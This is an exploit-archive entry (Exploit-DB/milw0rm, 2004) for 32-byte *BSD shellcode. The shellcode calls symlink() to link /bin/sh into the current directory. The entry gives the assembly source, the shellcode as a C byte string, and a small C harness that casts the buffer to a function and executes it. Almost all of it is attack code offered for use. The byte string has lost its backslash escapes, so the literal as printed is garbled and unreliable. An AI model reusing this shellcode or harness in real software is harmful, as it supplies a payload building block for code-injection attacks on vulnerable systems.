https://www.exploit-db.com/exploits/13430

漏洞细节尚未披露

/*The shellcode calls the symlink() and makes the 
 link to the /bin/sh in the current dir.
	short version
 size = 32 bytes
 OS   = *BSD
 	written by /rootteam/dev0id (www.sysworld.net)
				[email protected]	
	
BITS 32
jmp short	callme
main:
	pop	esi
	xor	eax,eax
	mov byte [esi+7],al
	lea	ebx,[esi+5]
	push	ebx
	lea	ebx,[esi]
	push	ebx
	mov	al,57
	push	eax
	int	0x80
	
callme:
	call	main
	db	'/bin/sh'
*/

char shellcode[] =
	"xebx12x5ex31xc0x88x46x07x8dx5ex05x53x8dx1ex53"
	"xb0x39x50xcdx80xe8xe9xffxffxffx2fx62x69x6ex2f"
	"x73x68";

int
main (void)
{
	void (*code)(void);
	code=(void(*)())shellcode;
	(void)code();
	return 0;
}

// milw0rm.com [2004-09-26]